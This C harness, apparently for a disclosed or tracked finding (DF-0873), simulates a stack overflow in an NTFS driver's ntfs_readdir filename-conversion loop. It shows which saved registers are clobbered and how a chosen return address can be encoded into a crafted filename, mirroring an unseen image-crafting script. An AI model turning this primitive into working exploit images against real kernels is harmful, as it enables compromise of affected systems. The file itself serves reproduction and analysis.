DF-0873 / harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 | /* * DF-0873 deterministic harness. * * Faithfully transcribes the ntfs_readdir convname loop * (sys/vfs/ntfs/ntfs_vnops.c:590-596) on a poisoned stack frame that mimics * the compiled ntfs_readdir layout (gcc 8.3, no canary): * * convname[-0x130(%rbp)] ... retaddr[+0x08(%rbp)] * * It writes 256 bytes of convname + the exact overflow region into a * virtual "stack frame" buffer and reports which control-flow slots get * clobbered. This makes the primitive byte-exact and reproducible WITHOUT * needing to mount the image (the live-kernel reproduction is the separate * trigger + run.sh). * * Two modes: * default : wchar stream = 255 * 0x0080 (panic repro layout) * --ret <0xADDR> : use craft_img.py build_pattern() semantics to place the * 8 address bytes at convname[312..319] */ #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #define NTFS_MAXFILENAME 255 #define CONVSIZE (NTFS_MAXFILENAME + 1) /* 256 */ /* * Frame model (matching ntfs_readdir disassembly). convname sits at frame * offset 0x130 below a virtual rbp; saved registers and the return address * live above. We allocate a frame buffer where index 0 == convname[0] and * lay the control-flow slots at their real indices: * convname base = index 0 (rbp - 0x130) * saved rbx = index 264 (rbp - 0x28) * saved r12 = index 272 * saved r13 = index 280 * saved r14 = index 288 * saved r15 = index 296 * saved rbp = index 304 (rbp + 0) * return addr = index 312 (rbp + 8) */ #define FRAME 1024 static uint8_t frame[FRAME]; /* model of the default-mount NTFS_U28: wchar 0x80..0xFF sign-extends. */ static uint16_t u28_default(uint16_t wc) { /* ntmp->ntm_u28[(wc>>8)&0xFF][wc&0xFF]; for wc<0x100 that is (char)(wc&0xFF) */ if (wc >= 0x100) return '_'; /* would index a NULL subtable -> '_' */ int8_t byte = (int8_t)(wc & 0xFF); return (uint16_t)(int16_t)byte; /* sign-extend into u16 */ } /* Run the loop with the given wchar stream, writing into `frame` starting at * convname base (index 0). Returns final j. */ static int run_loop(uint16_t *fname, int fnamelen) { int i, j = 0; uint16_t c; for (i = 0; i < fnamelen; i++, j++) { c = u28_default(fname[i]); if (c & 0xFF00) frame[j++] = (uint8_t)(c >> 8); /* may overflow */ if (j < FRAME) frame[j] = (uint8_t)(c & 0xFF); else { fprintf(stderr, "[!] write past frame model @ j=%d\n", j); break; } } if (j < FRAME) frame[j] = 0; /* convname[j]='\0' */ return j; } static void hexdump(const char *label, int start, int len) { printf("%s [convname[%d..%d]]:\n ", label, start, start + len - 1); for (int k = 0; k < len; k++) { printf("%02X ", frame[start + k]); if ((k & 15) == 15) printf("\n "); } printf("\n"); } int main(int argc, char **argv) { uint64_t ret_override = 0; int do_ret = 0; for (int a = 1; a < argc; a++) { if (!strcmp(argv[a], "--ret") && a + 1 < argc) { ret_override = strtoull(argv[++a], 0, 0); do_ret = 1; } } memset(frame, 0xAA, sizeof(frame)); /* poison */ memset(frame, 0, CONVSIZE); /* clean convname region */ uint16_t fname[255]; if (!do_ret) { for (int i = 0; i < 255; i++) fname[i] = 0x0080; } else { /* mirror craft_img.py build_pattern(): 156 wide(0x80) -> 312 bytes, * then encode the 8 target bytes, then pad to 255 with wide tokens. */ int n = 0; for (int i = 0; i < 156; i++) fname[n++] = 0x0080; uint8_t tb[8]; for (int i = 0; i < 8; i++) tb[i] = (ret_override >> (8 * i)) & 0xFF; int k = 0; while (k < 8) { uint8_t b = tb[k]; if (b < 0x80) { fname[n++] = b; k++; } else { fname[n++] = b; k += 2; } } while (n < 255) fname[n++] = 0x0080; } int j = run_loop(fname, 255); printf("== DF-0873 convname loop harness ==\n"); printf("fnamelen=255, final j=%d (convname buffer = %d bytes)\n", j, CONVSIZE); printf("overflow = %d bytes past convname[%d]\n", j - CONVSIZE, CONVSIZE - 1); uint64_t *saved_rbx = (uint64_t *)&frame[264]; uint64_t *saved_r12 = (uint64_t *)&frame[272]; uint64_t *saved_r13 = (uint64_t *)&frame[280]; uint64_t *saved_r14 = (uint64_t *)&frame[288]; uint64_t *saved_r15 = (uint64_t *)&frame[296]; uint64_t *saved_rbp = (uint64_t *)&frame[304]; uint64_t *retaddr = (uint64_t *)&frame[312]; printf("\ncontrol-flow slots AFTER overflow:\n"); printf(" saved rbx = 0x%016llX\n", (unsigned long long)*saved_rbx); printf(" saved r12 = 0x%016llX\n", (unsigned long long)*saved_r12); printf(" saved r13 = 0x%016llX\n", (unsigned long long)*saved_r13); printf(" saved r14 = 0x%016llX\n", (unsigned long long)*saved_r14); printf(" saved r15 = 0x%016llX\n", (unsigned long long)*saved_r15); printf(" saved rbp = 0x%016llX\n", (unsigned long long)*saved_rbp); printf(" RET ADDR = 0x%016llX <-- loaded by `ret` in ntfs_readdir epilogue\n", (unsigned long long)*retaddr); hexdump("convname (in-bounds)", 0, CONVSIZE); hexdump("OOB region (saved regs + rbp + ret + caller frame)", 256, 256); int hit_ret = (j >= 320); int hit_rbp = (j >= 312); printf("\n==> reached saved rbp: %s\n", hit_rbp ? "YES" : "no"); printf("==> reached RET addr: %s\n", hit_ret ? "YES (stack smash)" : "no"); return 0; } |